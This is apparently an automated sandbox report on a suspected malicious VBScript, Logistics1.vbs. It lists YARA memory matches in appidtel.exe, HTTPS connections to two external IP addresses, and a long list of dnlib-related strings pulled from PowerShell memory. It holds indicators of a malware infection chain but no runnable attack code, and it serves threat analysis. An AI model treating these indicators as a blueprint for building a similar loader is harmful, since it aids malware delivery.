Windows Analysis Report
Logistics1.vbs

AI detected suspicious sample

Source: Yara match	File source: 11.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1841391892.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1841927454.00000000032F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 207.241.227.242:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49708 version: TLS 1.2

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.1769352732.00007FFB4A210000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: appidtel.exe, appidtel.exe, 0000000B.00000002.1841958325.000000000356E000.00000040.00001000.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000003.1808603345.0000000003225000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000003.1806418136.0000000003079000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000002.1841958325.00000000033D0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.pdb('D>'D 0'D_CorDllMainmscoree.dll source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: appidtel.exe, 0000000B.00000002.1841958325.000000000356E000.00000040.00001000.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000003.1808603345.0000000003225000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000003.1806418136.0000000003079000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000B.00000002.1841958325.00000000033D0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.1769352732.00007FFB4A210000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000008.00000002.1648832877.0000021AF6A4A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749889044.0000021AFED80000.00000004.08000000.00040000.00000000.sdmp
